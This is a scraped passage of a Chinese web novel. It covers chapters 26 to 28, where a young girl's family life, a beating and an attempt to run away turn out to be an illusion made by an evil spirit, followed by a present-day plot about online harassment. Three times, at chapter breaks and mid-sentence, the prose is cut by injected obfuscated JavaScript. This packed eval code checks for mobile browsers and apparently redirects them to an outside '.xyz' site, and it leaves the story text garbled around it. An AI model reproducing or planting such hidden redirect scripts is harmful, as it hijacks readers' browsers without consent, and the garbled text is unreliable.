纪善蹲下身来,视线与钟励平齐,语气温柔:
“小朋友,那你叫什么名字啊?”
钟励往后退了一步,皱着眉头,十分防备。小孩子总是藏不住自己的情绪的,她白了纪善一眼,右手伸出一根手指放在眼睛下面,下拉眼皮,吐舌头朝他做了一个鬼脸。
“你这孩子,这么没礼貌。大人跟你说话呢。”
奶奶拍了一下钟励的背,声音还蛮大的,“砰”一声。
“没事没事,她挺有个性的。”
纪善站在中间当和事佬。
“谁要你当好人,无语。”
钟励可敏感,感知到纪善在其中的角色,虽然看似是站在她那一边帮她说话,可实则也是她挨骂。
今天真倒霉,被两个人骂。
得买辣条跟冰棒才能弥补她脆弱的心灵。
“我先走了。”
钟励趁着纪善没注意,一脚狠狠踩在了他的脚上。她人小,用力踩也不重,纪善表情都没变一下。
钟励驻足在小卖部前面,纠结地看着琳琅满目的商品,她只有五毛钱,没有办法同时买辣条跟冰棒了。
“要买什么呀?”
老板娘坐在矮凳子上,一边整理商品一边问她。
钟励支支吾吾的,她咬着唇,很难下决定。她都想吃。
不知道能不能赊账,可电视看赊账都是坏人做的事情,那她还是算了吧。
钟励指着开封的一大包辣条说道:
“这个,我要两条。”
老板娘给她找了三毛钱,钟励一手拿辣条,一手将找的钱塞进口袋里。
辣条是菱形的,钟励坐在大榕树下的水泥椅子上,按照辣条上的痕迹,一小条一小条撕下来。最优解是撕下一条,吃得慢但那吃得不过瘾,她一般是同时撕下三小条。
辣得嘴唇都肿了,手指摸上去有些微微的刺痛。钟励张着嘴哈气,等待辣意的褪去。
她双手并拢在一块,对着手心哈气,闻闻有没有辣条味。不然等一下回家要被问罪了。
钟励回到家里的第一件事情就是洗手,她家其实光照很一般,加上可能是地域天气因素,她不甚灵敏的鼻子都老能闻到一股潮湿的发霉味。
“钟励。洗手啊?”
没想到纪善还没走,他又从兜里掏出两个菠萝味的棒棒糖,放在钟励面前晃了晃。
“之前吓到你,是我不对。可以给我补偿的机会吗?我想跟你当朋友。”
钟励高高抬起下巴,沾满水迹的双手她轻轻拍在衣服下摆。
“我不跟愚蠢的大人交朋友的,他们总是不明白小孩子。”
“不过看在你这么有诚意的份上,那我就原谅你吧。”
纪善递上糖果后遗憾摇摇头,“好吧。既然我们不能当朋友的话,那我能不能做你的小弟?我会一辈子追随你的。”
小弟?钟励撕开糖果的外包装,酸酸甜甜的口感。她倒是从电视上看过小弟,一般都会为老大做事。
她虽然年纪不大,但已经是学前班了。是幼儿园里最大年纪的人,明年就要上小学了,要是有个小弟也算说得过去。
她班里有几个男生就有小弟呢,那她也要收一个,她也想赶时髦。
“好吧,那我就大人有大量,收下你这个小弟吧。”
才不是糖果的诱惑,吃人嘴软呢。
“好的老大。”
纪善已经很顺口认下了。
“你要租房子吗?”
钟励认为她作为纪善的老大,有义务对他好一点,她挥挥手让纪善低下头凑过来。
纪善照做,只感觉耳边有一股热浪,还能嗅到辣条味。
“你要住的那个房间,有死人的。”
钟励表情严肃,她看过电视,里面都是这么说的。但凡人住进了死过人的屋子,结局一定会疯掉。她还是希望自己刚收的小弟活得久一点。寿命最好比乌龟长。
纪善眨眨眼,一点都没有露出钟励以为的惊讶表情。
“哇,是吗?”表情太浮夸了。
她还以为他会被吓跑呢。
“我没有跟你开玩笑哦,我说的都是真的。”
钟励就知道大人不靠谱,她还是喜欢在幼儿园认识的好朋友,听她的话都能做出反应,让她有讲下去的兴致。
“你不信是吧?”
钟励拉着纪善的手,带他走去了要租出去的那间房。
那间房不大,里面有一张木床,但一进去就能闻到霉味。房间里还有些杂物,阳光照进来的时候还能看到飞扬的灰尘。
钟励不进去,就站在门口,指着房间里的一个角落对纪善说道:
“看到没有?就是在那里死的。”
纪善不质疑小孩的真心话程度,但不一定讲的真话,有可能是经过加工的。
“死的人也是租你房子的人吗?”
纪善问道。
钟励摇摇头,脸上的婴儿肥还在晃动。
“不是,是我们家的。”
家里死过人?在家里的话可能是上了年纪的老人离去吧。
只听钟励接着往下说:“是我表姐养的乌龟。”
纪善扶额,果然就知道小孩子讲话没大没小的。
钟励“额”了一声,回忆起当初的乌龟往事。
“我表姐不会养乌龟,有食物就扔进去,乌龟也没脑子,有东西就使劲往嘴里塞,然后就给撑死了。”
说到这里,钟励摇摇头,将手背在身后,长长叹了一口气,腰都佝偻了不少。
“小弟啊,以后你要接受教训啊,吃饱了别吃了,小心跟乌龟一样撑死。”
“好的老大。”纪善谨遵教诲。
“后生仔,你写一下。”
奶奶不知道从哪里冒了出来,她手上拿着一支笔跟撕下来的一张纸,戴上了老花镜,让纪善在上面写字。
其实就是简陋版合同,写明纪善何时给了多少钱,不是专门收租的房东,往往会粗糙一些。
就这样,纪善成为了钟励家的租户。
不得不说那个房间真的很潮湿,纪善觉得跟住在海底差不多。好在世界都是依照钟励而存在的,她只要不出现在这里,那这个房间
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14450188|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就会变成虚无,连带潮湿的气味也会消失。
白雾随意像是可以捏造的泥沙,被纪善捏出来一张吊床,他翘着二郎腿,悠闲躺在上面。
他正闭着眼睛思考接下来要怎么做呢?突然他的吊床离奇消失,一个没注意直接从空中跌落。
“小弟,你躺地上干嘛呀?”
钟励的童音此时像魔音。
纪善揉了揉腰,原来是世界主人来了,他觉得以后得挂个风铃,钟励来了风铃就使劲叫,也不至于他毫无准备。
“老大,你不上学去吗?”
纪善一开口就是小孩子最讨厌的话题。
钟励果不其然鄙夷看着他,“好好的周末,提什么上学?”
世界主人不在的话世界就是静止的,纪善已经分不清时间流速了,甚至有可能这里根本没有时间的概念。
纪善一个翻身坐起来,看到钟励一只手背在身后,好像在藏什么东西。
“你手上拿着什么呀?”
钟励一听这话顿时表情惊慌,说话都结结巴巴的。
“没什么啊,就是手啊。”
纪善突然生了逗她的念头,他就这样坐在地上,视线要比钟励低一些,他伸出手指着钟励藏在身后的右手,问道:
“那你的右手呢?”
钟励把左手放到身后,接过右手的东西,伸出了右手。
“呐,右手。”
“那你的左手怎么不见了?”
钟励又接着重复上一个动作,伸出了左手。“呐,左手。”
“能不能同时伸出两只手啊?”
钟励面对纪善提出的第三个问题,她怒了:
“小弟不要管老大的事情。”
说完扬长而去,只是她可能是单线处理事情,背对着纪善离开的时候,藏着东西的手依旧放在身后,每走几步还鬼鬼祟祟回头。
纪善清清楚楚看到了她藏着掖着的东西,一盒12只装的油画棒。
这有什么好藏着掖着的,但既然以钟励为中心,说不定会成为打破死局的方法,纪善便也偷摸跟在钟励后面。
只见她出了门,走进了一个握手楼的小巷子,水泥地面常年处于湿漉漉的状态,有的墙壁上甚至还长了青苔。
钟励走了进去,刚好中间的地方有个塑料桶做成的垃圾桶,应该是私人的,不是公共垃圾桶,但行人要是手上有垃圾,刚好路过也会往里丢。
钟励手上的油画棒看起来几乎是全新的,她直接抽出几根油画棒,放在手心对着垃圾桶,油画棒在她收束的力道下逐渐弯曲最后断成几截。
不到一分钟,一盒崭新的油画棒已经被她浪费完了,捣蛋结束后,她看着手心的画笔污渍,想擦一擦,却扩大了污染的面积。
难道是跟捏泡面一样的发泄行为吗?
纪善对她的行为不解?小小年纪压力就这么大了?看来她长大后的恶怨浓度这么高,也是有原因的。
纪善还没思考完呢,紧接着白雾突然浓了起来,遮盖了周边,等白雾再次散去的时候,他就听见了一阵小孩嚎啕大哭的声音。
钟励正被她妈妈用衣架抽,她从二楼跑到了一楼,又想逃出去,但被母亲用手拉着。最后也只能蹲在原地,抱着膝盖尽量降低衣架与皮肤的接触面积。
26. 第 26 章
父母管教孩子,外人一般都不会干涉,主要是也没有任何的立场。
钟励蹲下来,鼻涕眼泪糊满脸,满脸呛得通红,一边哭一边打哭嗝。
她虽然抱住了双腿,但衣架不打到腿上,就又会落到手臂上。
“你知道错了没有?”
钟母也打累了,她左手扶着腰,喘了几口气问钟励道。
钟励吸了吸鼻子,手上跟腿上都是红痕,过几日应该就会变成青紫色的痕迹了。夏天就是容易吃亏,要是冬天穿着衣服,至少跟皮肤之间还有一层棉隔着,不至于被打得这么重。
钟励呼吸急促,她每蹦出两个字就得喘一下。
“凭什……么,我没……有错。”
“还敢顶嘴是吧,死性不改,我平常怎么教你的?”
钟母听到钟励的话,怒气又上来了,她歇息得差不多了,又开始新一轮。
两层楼的小房子里住的人还挺多的,对钟励而言有长辈,也有同辈的。都看到了她被打的狼狈一面。
眼泪模糊了她的视线,她也看不清大家对于她被打的事情是觉得可笑还是怜悯。
“哎哎哎,弟妹,别打了。”
当然也有其他亲戚拦下来了,钟母手中的衣架已经打得变形了。
钟励得以喘一口气,她刚抬起头就看到害她被打的罪魁祸首。
“奶奶,那我要买新的油画棒。”
钟励的表弟奶声奶气的,牵着奶奶的手,一边说话一边撒娇。
老人家点点头应了下来,也不忘一边招呼钟母别打了。
“小孩子调皮一点,没关系的。”
小男孩听着不乐意了,他摇晃着奶奶的手,说道:
“不要,她太坏了,弄坏我的油画棒。”
纪善是局外人,他也是很少掺和别人的家事,他又没什么立场。他想拦住钟母但又不知道该怎么说。
“那个,姐啊。钟励年纪还小啊,她不懂事。”
只能弱弱地搬出万能句式,跟写在作文开头结尾一样,最多起一个镶边的作用。
果不其然,钟母眼皮都没抬。
钟母抬手就往钟励的背上重重拍了一巴掌,下了一个定论:
“你下个月零花钱没了,罚你的零花钱用来买油画棒还给弟弟。”
钟励瘪着嘴,大颗大颗的泪珠又忍不住从眼睛里滑下来,她咬着唇不让自己发出哭声,她觉得这是对敌人的投降。
只是委屈也是忍不住,最终还是小声啜泣出来。
“凭什么?他之前也弄坏了我的油画棒,都没人替我做主。我只是也做了同样的事情,为什么我就要挨打?”
只是她的满腹疑问也没人会解答了,世界上本无公平可言。
钟母不打人了,她捏着钟励的胳膊回到了二楼。
一到没人的地方,她轻轻捏了一下钟励的耳朵,说道:
“你怎么就不知道给我省点事呢?”
钟励低着头,也不哭了,泪痕在脸上风干。
钟母伸出手,想给钟励抹眼泪,但被钟励躲开了,钟母又强制第二次上手帮她擦眼泪。
“生我的气了?”
钟励仍是低着头没说话,她在心里酝酿一个计划,她发誓要让所有人后悔。
钟母也没太在意,小孩子忘性大,没过多久就忘记了。她又忙活其他事情去了。
直到夜幕降临,蚊子也从黑暗角落里钻了出来。
钟母点了一碟蚊香放到饭桌底下,防止等一下吃饭的时候被蚊子咬。
“钟励,吃饭了。”
钟父此刻也下班回来了,他坐在饭桌前,找不到钟励的身影,问道:
“钟励呢?”
钟母一边盛饭,一边回答道:
“我下午打了她一顿,可能还在生气呢,不知道躲哪里去了?”
“她又干什么事情了?”
“把小荣的油画棒给弄坏了。”
钟父点燃了一根烟,他抽了一口,说道:
“你也不好好管教她。”
钟母手头上这碗饭原本是盛给钟父的,听他这么一说,递到一半的饭又给收了回来,放到自己跟前了。
“我管教?她是我一个人生出来的吗?跟我姓了?你们钟家的种。”
钟母说着说着也委屈了,手上忙活沾上的水迹还没擦干,她偏过头去,声音有些颤抖。
“我就欠你们的,是吧。”
---
不同于父母这边的剑拔弩张,钟励按照她原先的计划踏上了旅程,头上戴着一顶帽子,手上捧着一个似包非包的物品,另一只手除了要承托那团不知名物品以外,还攥着一根不知道哪里捡来的木棍。水杯系着一根长绳,挂在她的脖子上,走起路来晃荡晃荡的。
“这怎么跟电视上的不一样啊。”
她对这团东西毫无办法,摆弄的时候一个不注意,里面的物品“啪”一声全掉了下来。是钟励攒了一点点的零花钱,两根笔,一包纸巾,还有几包葱油饼干。
这团东西其实是钟励的一件衣服,她看着电视上的人都是拿着一块布平摊到床上就开始收拾东西,也按着照做。只是她没有一块方方正正的布料,只能从衣柜里找出一件不常穿的衣服。
但人家手脚麻利,三下两下就打好结了。钟励忙活半天了,学不会人家的手法。干脆就跟包饺子一样把东西包起来,但衣服不是面团,没有粘性,包不住。
钟励原定的时间要到了,便只能抱着这坨东西离开了,她原本还想背在身后的,像大侠一样潇洒,她连装备都齐全了,一顶帽子和一根棍子。
可没打结的衣服滑溜溜的,放在中心的东西也容易顺着掉下来。走了没几步路钟励就气喘吁吁的,双手捧着太累了。
外面的天还没完全暗下来,她找了个凳子坐下来休整。
她擦了擦额头上的汗,小小的身板略微弯着放松,感叹道:
“好累啊,大侠真辛苦。”
钟励摸着咕咕叫的肚子,拿出两包葱油饼干配着自带的水吃了起来。
“嗡嗡嗡。嗡嗡嗡。”
她吃到一半,忽然觉得小腿有点痒,下意识去摸却摸到了好几个凸起来的包。
“讨厌的蚊子。”
钟励在蚊子包上一个个用指甲划上了十字。罪魁祸首大摇大摆飞在她眼前,她伸出手想打,但蚊子吃饱喝足喜气洋洋飞走了。
钟励回头看着粗壮的大树,心想这难道是蚊子窝吗?可是大侠在外面都是睡在树下的,她要是睡一个晚上的话,会不会被蚊子扇着翅膀给驼走。
一边担心地想,一边又吃了第二包葱油饼干。“咕咚咕咚”几下,杯子里的水也喝掉了一半。
她摸了摸圆滚滚的肚子,打算再休息几分钟就启程。
“老大,你要去哪里啊?”
不料她新收的小弟如同背后灵一般悄无声息出现了,吓得她浑身一激灵。
“啊。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14466939|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
钟励大叫一声,大脑一片空白只能靠下意识的反应,她抓起包着物品的衣服,但太慌张也搂不好,东西劈里啪啦掉了一地。
轻飘飘的钱飘落在地上,一阵微风吹起就能刮跑。钟励又着急忙慌去捡钱了。
纪善腿长,一个大跨步就帮她把被风吹走的钱捡了起来。
只见钟励警惕地看着他,稍稍后退几步,但又不舍得跑开,盯着他手里属于自己的钱。
“把我的钱还给我。”
纪善伸出手,在钟励即将拿到钱的时候,又把手快速收了回去。
“我的钱,这是我的钱。讨厌你们这些大人。”
钟励气急败坏,顾不上纪善是不是来抓她的人了,她蹦跶着,但纪善太高了,他都不用高高举起手,钟励本来就够不到他。
纪善大手轻轻放在钟励毛茸茸的脑袋上,仗着体型优势,钟励蹦跶了两下就放弃了。
“你带着这些破烂要去哪里啊?”
钟励不允许有人侮辱她,她攥紧了拳头,捶了一下纪善的大腿,力度接近于无。
“这不是破烂,这是我的……财产。”
她前两天从电视里学到的,很多大人出门的时候,都会带着自己的财产。
“晚上了,小孩子应该要注意安全,呆在家里。”
纪善也不逗她了,他蹲下来,将捡到的钱放到钟励的手心里。
钟励撇过脸,从纪善的方向只能看到她肉嘟嘟的脸,但似乎咬牙切齿的。
“你看到了吧。我被打的样子。”
纪善明白了,原来是小孩子的自尊心,被别人看到自己狼狈的模样,确实很难接受。
“那也不能离家出走啊,年纪还小,外面很危险的。”
纪善晓之以理动之以情,声音轻柔,主要也是怕刺激了钟励。
“你把你表弟的油画棒弄坏了?其实我都看到了。”
钟励原本还是面无表情的,一听这话她炸了。
“你也是来骂我的吗?明明他也弄坏了我的啊。”
纪善不知道怎么教小孩,绞尽脑汁也只能干巴巴冒出一句。
“你们不是亲戚吗?他可是你的表弟。”
钟励轻哼一声,扫了纪善一眼。
“哦,亲-戚-”
她念出“亲戚”二字的时候,明显拉长了语调。
“我亲戚可太多了,你没有亲戚吗?这么珍惜亲戚。”
“我没有。”
钟励皱起眉头,撇撇嘴,“那你怎么来的?”
纪善煞有其事,表情正经,他思考了两秒钟回答道:“可能是无性繁殖吧。”
钟励听不懂这些晦涩难懂的名词,她自顾自收拾东西就要离开。
纪善站在她身后,纳闷道:“难道这就是她黑化的原因吗?”
“什么黑化?”
钟励背对着他,手上收拾东西的动作也停了,直挺挺站着,语气不同于刚刚的生动,变得僵硬。
纪善察觉到一丝不对劲,周边的蚊子叫突然消失了,像是又回到了他刚来那时毫无生机的世界。
“老大?钟励?”
纪善慢慢靠近她,钟励猛地一个回头,一张圆润的小脸上此时布满了红棕色血丝,说话的声音像沙砾,绝对不是小孩能发出的动静。
“你是说……这样吗?”
“钟励”的手上冒出了一个逐渐壮大圆润的小球,里面恶怨横冲直撞的,直直就要冲纪善来。
27. 第 27 章
纪善暗道不妙,可是他的灵力本就接近枯竭,之前又使了些小把戏,这下哪怕是海绵,都挤不出一点水了。
“钟励”手中的球越来越大,纪善能感知到其中的力量不弱,甚至可以比得上巅峰时期的他了。
他与恶灵相生相克,一方的力量壮大,势必会削弱另一方的力量。“钟励”身上可能只是恶灵的一部分能量,便已经如此强大,不敢想象本体的力量如何。
“钟励没事吧?”
纪善一步步后退,藏在背后的右手凝聚出一点灵力,但光亮比萤火虫都还要暗一点。
“钟励”随意抛了抛手中的球,逗弄人一样,逼到山穷水尽的时候再赶尽杀绝。
“你还有功夫管她?还是先想想你自己吧。大善人。”
语气轻蔑,说到最后三个字的时候,她嗤笑一声。
“这是我们俩的事情,不要牵扯无辜。”
纪善知道,他们之间,是容不得对方存在的,只要他或者对方还活着,就会竭尽全力杀掉另一个。
正是危机关头,“钟励”手中的球突然缩小了,她自己也纳闷,重新聚集力量,但她手中的球如同被针戳破了的气球,“唰”一下之间没气了。
而“钟励”脸上红棕色的痕迹,也像退潮一般逐渐消失。
“砰”一声,钟励身上冒出白雾,眨眼间她就像吃了生长激素,吃一口长10年一样,从小孩模样变成了大人模样。
她本人还在啧啧称奇,惊叹道:“唉?这梦真实,变大变小真的奇妙。”
“哟,纪善,你怎么也在?这不是我小时候吗?可能平常接触太多了。”
钟励真的以为自己是在做梦。
两人还没搭上话,一阵浓雾袭来,两人再次睁眼,已经到达钟励的家里了。
“欸?这梦还管售后送回家?”
钟励摸了摸头发,一屁股在沙发上坐下了,不知道为什么虽然是梦,但她好累啊,浑身肌肉酸痛。
“你还不走吗?一个大男人杵在独居女性家里不太合适吧。”
钟励只是嘴上抱怨两句,她没认为纪善是真人。
她在沙发上的姿势由坐着变为躺着,在梦里也可以睡觉,这次她还是没去房间里拿毯子,梦里又不会着凉,那就算了吧。
她刚闭上眼睛,忽然感觉有人用力摇晃她的肩膀,她脑袋昏昏沉沉的,跟通宵熬夜了一样,这么一晃差点吐出来。
她一巴掌推开纪善,喘了口气,气若游丝地问:
“大胆,你要对造物主做什么?”她的梦,她就是王。
纪善没说话,他焦急上手了,双手捧上了钟励的脸,还掰开她的眼皮看了一下。然后眼神粗略扫过钟励的全身,问道:
“你没事吗?没有变坏吧?”
钟励直接拍开,迅速从沙发上逃离。
“你有病?”
刚刚纪善温热双手的触感还停留在皮肤表面,并逐渐深入里层,钟励感到似乎蔓延到骨缝里,有股痒意。
错觉错觉。她双手拍了拍脸,啪啪作响。
可是,这不是梦吗?怎么拍脸还疼?
“纪善,你来我的梦了吗?”
钟励步步靠近,是不对劲,以往她的梦虽然能分辨出是谁,但是看不清人脸的。这个梦太真实了,就像真的一样。
“这不是梦,我们进了恶灵编造的幻境,我也看到了你小时候。”
“只不过,我没想到,你身上的不是恶灵,只是他的部分气息。”
钟励听着一头雾水,什么什么恶灵,什么什么恶怨的。应该还在梦里吧。
见她没事,纪善也冷静下来了。他声音清润,娓娓道来。怕钟励不信,还招呼了他的武器功德簿。
功德簿“咻”一下飘到钟励面前,甚至还在空中表演自己翻页。
还好钟励本身精神状态很良好,很快就接受了这个事实。
她身边发生的奇怪事情太多了,多这一件也不算多。
“你现在身体没有哪里不舒服吧?比如特别想打人,想世界毁灭之类的。”
纪善还是不放心,又确认了一遍。
钟励打了一个哈欠,眼皮半耷拉着,她真的很困,双眼皮都变成三层了,眼皮重得往下压。
“不舒服呢其实很正常,我经常熬夜,心脏突突的。特别想打人想世界毁灭的话呢,那更是常态。自从我有记忆以来,糟心事不少。”
“但我觉得,我很正常。身上也绝对没有你说的什么恶灵附体。”
钟励给出了令纪善满意的结论,接着她端起茶几上的凉白开猛灌了两口,意识有点清醒了。
只听她反问道:“我觉得你与其担心我,不如看看你自己吧。”
钟励手中满杯的水已经被她一口气喝光了,要是现在站起来走两步,都能听到胃里晃荡的水声。
“你气色差得,直接去地府都没人怀疑你。”
说完钟励从抱枕底下抽出一面小镜子,她以往在沙发上躺着躺着就很想拿一面镜子看看,又懒得走动,干脆买了十个,放在家里各个角落。
她将小镜子放在手心,手掌一转,纪善就能从镜子里看到自己了。
虽然纪善皮肤平常也很白,但此刻的白却是死白,往日红润的嘴唇除了没有血色以外,还多了几分青黑。感觉拉进医院都得进ICU了。
“我没事,我的身体跟常人不一样。我只是目前比较虚弱,休息一会儿就好了。”
“这样啊。”
谁的身体谁在乎。钟励听他这么说,也放心了。他确实不是一般人。
“对了,有件事情我一直很好奇。”
钟励站了起来,围着纪善走了一圈。
“你判断我身上有恶灵的依据是什么?”
不是钟励好奇心旺盛,一般来说,跟这两个字搭边的,得是穷凶极恶的人吧,要么看起来满脸横肉不好惹。她自我感觉人还算善良啊。
就算她有暴怒的时候,那也是别人冒犯到她了,她纯粹是在捍卫自己的利益。
纪善张了张嘴,想说但又没说出来,下一秒他才艰难开口道:
“额……你比较,容易生气。”他似乎是绞尽脑汁想到的词。
钟励的脸皱巴了一瞬,而后恢复正常。
“生气?我很容易生气吗?”
其实她不是容易生气啊,是女生的生理结构决定了,要是她不发泄出来,压抑了自己,到时候吃苦的也是她。
“有什么例子吗?你可不能是随随便便就冒出这句话吧。”
钟励双手抱胸,右手挥了挥,让纪善接着说下去。
纪善作思考状,约莫过了一分钟,他说道:
“之前,还在公司里的时候,方付让你帮他倒咖啡。我亲眼看到你把他烟灰缸里的烟灰倒进去了,他问起来的时候,你说是咖啡渣没有过滤完全。”
钟励疯狂眨眼睛,她无奈扶额,尬笑道:“你记性真好。”
“还有……”
纪善还要接着往下说,钟励一个箭步上前捂住纪善的嘴巴,她“嘘”了一声,轻声道:“我知道了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14481573|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你不用再说了。再说会影响我们之间的感情。”
突然之间靠得这么近,钟励都能数清纪善眼睫毛的根数了。
对上他清澈的眼神,钟励猛地乱了心神,她立刻倒退两步,右手胡乱将碎发勾到耳后。
“那个,你去帮我煮一壶水吧,水喝完了。”
刚刚的一杯水还是不够多,她嘴巴里像干涸的沙漠。
“好。”
纪善点点头,抬脚朝厨房走去。
如果要去厨房,就要绕过钟励,钟励显然也意识到这一点,她往后退了几步。
“您请。”
钟励使了个坏心眼,她趁着纪善走动的时候,突然伸出一只脚在他面前,纪善来不及躲闪,直直绊倒“扑通”一声趴在了沙发上。
“你不是说你很容易生气吗?那你不容易生气咯。”
“那这下,你会生气了吧。”
小玩笑,钟励也有分寸的,她算好了纪善摔倒的地方是沙发,不会磕到碰到的。
可是跌倒的人自从趴进了沙发了,就再无动静。
整个人僵直地趴着,脸朝下,像是连呼吸也不需要了。
“纪善?”
钟励脸上表情变得迟疑,她步步靠近,一边走一边喊他的名字。
不应该啊,她平常也喜欢跟鲤鱼跃龙门一样扑到沙发上,她现在都好好的。
“纪善,纪善。”
钟励轻拍纪善的肩膀,可人还是毫无动静。她甚至都做好了准备,其实这人也给她开玩笑,打算吓她一跳,但显然不是。
“喂?你醒醒啊,还活着吗?”
钟励慌了神,尾音都颤抖了,她用力将纪善向下趴着的头掰过来侧对她。
纪善双目紧闭,嘴唇死白,呼吸微弱,任凭钟励拍他的脸,都没有一丝动静。
“我去,你没事吧。不行,要送去医院了。”
钟励果断做出了决策,她立刻拨打了救护车的电话,讲了地址,但对方说她小区有个地段特别堵车,他们的人可能进不去,如果可以的话,他们能出来就先出来。
奇了怪了,这地段平常又不热闹。
钟励虽然觉得莫名其妙,但也来不及细想了。
她从杂物间取出了拿快递用的小推车,还有一捆麻绳。
之前骨折用的轮椅是借的已经还回去了,目前唯一的工具就是这个了。钟励可没那么大力气搀扶一个没有意识的人。
她将推车推到沙发处,连拖带扯,终于是将人移动到了推车上。又将麻绳展开,一层层绑到纪善身上。这是安全带,防止中途人掉下来。
钟励搭乘电梯,好不容易到了一楼,远远就瞧见小区门口围着一群人,拉着横幅,十分吵闹,这些人看着也就是学生,年纪不大。
她刚走几步,就听到那群人大声喊道:“钟励不要粘我家姐姐,我家姐姐独自美丽。”
什么乱七八糟的,钟励似乎听到了自己的名字,她停下来定睛一看,拉着横幅的人好像在讨伐她?
钟励推着小推着又掉头回去,她掏出手机看看到底发生了什么,她怎么跟社会脱节了?
刚点进去,热搜上就有。琼芎出面站队,认为钟励跟夏曦曼的死没有关系,还认领了所谓传言“抢男人”的当事人。
钟励张大了嘴巴,震惊到无法开口。
琼芎要是不站队,可能事情就过去了。她这一来,事情算是一时半会儿了结不了了。
怪不得救护车说进不来,这外面被包围得水泄不通,她怕是也出不去了。
28. 第 28 章
“钟励。钟励。”
被绑在铁质推车上的纪善缓缓醒来,发现自己被绑了以后不吵不闹也不挣扎,乖乖坐着喊人。
“你醒了?这么镇定,我还以为你会误会自己被绑架呢。”
钟励赶紧蹲下来给他松绑,她绑得也不紧,但光顾着快了,似乎打了死结。
纪善说话声微弱,要不是钟励刚到在他身后凑得近,怕是也听不见,他解释道:
“我没力气挣扎了。”
纪善歪着头,刚好卡在推手的另一根杆子上,看来是真没力气,不然这多硌脑袋。
“还有。”
“怎么了?”
钟励刚好解开了结。
纪善长长叹了一口气,指着自己无处安放的大长腿,说道:
“你一路拖行,我的鞋子好像要被磨平了。”
钟励朝他指的方向看了一下,鞋后确实有被外力磨平的痕迹,她摸了摸后脑勺,干笑两声。
“抱歉抱歉,你有点大只,这推车也不能装下你的腿,我又不可能跟组装芭比娃娃一样硬把你折叠上来。没有伤到哪里吧?”
“我没事,只是力量尽失,昏了过去。多睡一会儿就好了。”
“哦这样啊。”
钟励绕着纪善走,绳子一圈一圈收回,绕在她的手臂上,形成一个大圈。
纪善虽然是醒过来了,但他的力气还是没有完全恢复。
最终钟励让他盘腿坐着,她推他回去。
“抓紧啊,衣服的布料滑滑的,金属铁也滑滑的,你路上要是摔下来我可不负责任。”
钟励本想将绳子再绑上去的,这个简陋的安全带算牢固,她刚刚使用过,亲身证明。
可纪善严声拒绝了,也是,人也要面子。
“对了,忘了问你了。我看到了你小时候被打的样子,你真的没有留下什么心理阴影吗?”
钟励推着小推车,滑轮在平滑的地面发出轰隆隆的声响。
她思考了几秒,而后回答道:
“小时候,调皮捣蛋一点会挨打是常见的事情。说不埋怨也不可能,毕竟确实也挨了很多不该有的打。”
钟励轻笑一声,说道:
“不知道你有没有听过这一句话,‘下雨天打孩子,闲着也是闲着’。”
“叮”一声,电梯门打开。钟励推他进去。
纪善背对着电梯门,身后的钟励突然就安静下来了,他转过头去,看到钟励双手环胸,她咬着唇,呼吸忽快忽慢。
大约过了三秒,她胸前环抱的双手甩下,点点头说道:
“行吧,我承认我很在意。被打哪能不在意?我当初挨打也有一部分原因是父母撒气。”
她张开双臂,深深吸了一口气,浑身松懈了下来。
“但我又能怎么样呢?又不可能还回去。那就随着时间消散吧。”
电梯刚好达到他们所在的楼层,纪善换了一个话题。
“那你怎么清醒过来的?”
“我当时无法操控自己的身体,但也不觉得奇怪,在梦里嘛,操纵不了很正常。然后就是一阵睡意袭来,我在快要睡过去的时候,浑身一激灵,就跟上学时趴在课桌上一激灵一样,就醒过来了,就看到了你,最后就回来家里了。”
钟励将人送回家,本想告别后,自己也回去补觉的,但她刚拧开大门,手里的手机就响了起来。
是琼芎的经纪人,钟励打了一个哈欠,她接着伸了一个懒腰才接起来,说话声还含着一股空气,口齿不清。
“喂?”
“喂?是钟励吗?”经纪人说话急促,电话那头也吵吵闹闹的。
“是我,是因为琼芎在网上轻易发言的事情吗?”
也怪不得经纪人火急火燎的,这可是关乎饭碗的大事。
经纪人在那头沉默了一秒,她说道:
“确实因为那个事情我急得上火了,但是目前还有一件更为紧要的。”
“琼芎现在喝醉了在发酒疯,她还干出了其他要我去擦屁股的事情,我急着要去处理,能不能麻烦你过来帮我看住她,别再让她惹是生非了。她这人,换了其他助理我都觉得管不了她。”
钟励困倦的大脑呆滞了一瞬,做出反应要比平常更慢一点。看着近在咫尺的家门,她终究是屈服了。
她应答道:“好,我现在就过去。发我地址吧。”
将推车归还至家中角落后,钟励又给自己倒了一杯水,上了一个厕所才急匆匆赶出门。
钟励按照经纪人发来的地址打了车,是一家饭店。
